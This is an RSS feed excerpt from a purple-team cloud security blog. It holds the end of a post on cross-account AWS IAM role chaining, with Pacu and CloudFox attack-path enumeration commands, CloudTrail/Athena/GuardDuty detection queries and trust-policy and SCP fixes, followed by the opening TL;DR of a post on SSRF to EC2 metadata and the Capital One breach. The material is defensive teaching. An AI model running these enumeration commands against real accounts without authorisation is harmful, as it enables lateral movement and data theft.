&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
		<item>
		<title>SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</title>
		<link>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/</link>
					<comments>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 22 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Capital One]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IMDS]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[SSRF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1861</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>SSRF to IMDSv1 is a straight line to IAM credentials — Capital One proved it at 100M-record scale. How the attack chain works and why IMDSv2 enforcement is non-negotiable.</p>
<p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-supply-chain/">CI/CD Secrets</a> → <strong>SSRF to Cloud Metadata</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>SSRF cloud metadata attack</strong> is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach <code class="" data-line="">169.254.169.254</code> — the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication</li>
<li>IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient</li>
<li>Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement</li>
<li>IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation; <code class="" data-line="">--http-tokens required</code> is the one-line enforcement</li>
<li>Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer</li>
<li>The structural fix is eliminating the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal</li>
</ul>
<hr />
<blockquote>
